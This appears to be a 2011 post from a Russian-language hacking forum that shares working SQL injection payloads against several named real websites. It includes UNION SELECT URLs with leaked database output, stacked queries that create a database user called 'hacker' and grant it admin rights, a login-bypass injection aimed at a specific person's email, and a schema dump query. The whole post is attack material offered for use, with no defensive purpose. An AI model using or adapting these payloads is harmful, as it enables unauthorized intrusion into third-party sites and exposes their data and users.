
14.03.2011, 12:24
|
|
Новичок
Регистрация: 04.10.2009
Сообщений: 1
С нами:
8738719
Репутация:
0
|
|
Сообщение от None
http://cat.rusbic.ru/?rgn=80&cn=1)+UNION+SELECT+null,null,cast(user+as+ text),null,null,null,null,null,null,null,null,null ,null,null,null,null--+
user=postgres
version()=PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
current_database()=bb
inet_server_addr()=
Создаём нового пользователя:
id=27;CREATE USER hacker PASSWORD 'mypass';
Даём юзеру права на создание новых БД и новых пользователей:
id=27;ALTER USER test1 CREATEUSER CREATEDB;
http://cat.rusbic.ru/?id=76;CREATE TABLE аааа (b text);
Сообщение от None
http://irkutsk.ru/users/profile/4424
http://irkutsk.ru/login/
POST:uml=konstantin@lagutin.com';+--+&upass=dgfjh
login:konstantin@lagutin.com';+--+
pass:12345
Сообщение от None
http://rusuper.ru/objs/view1.php?id_city=30&id_obj=-3251+UNION+SELECT+1,2,3,group_concat(unhex(hex(col umn_name))),5,6,7,8,9+FROM+INFORMATION_SCHEMA.colu mns+where+table_name=0x7573657273--
|
|
|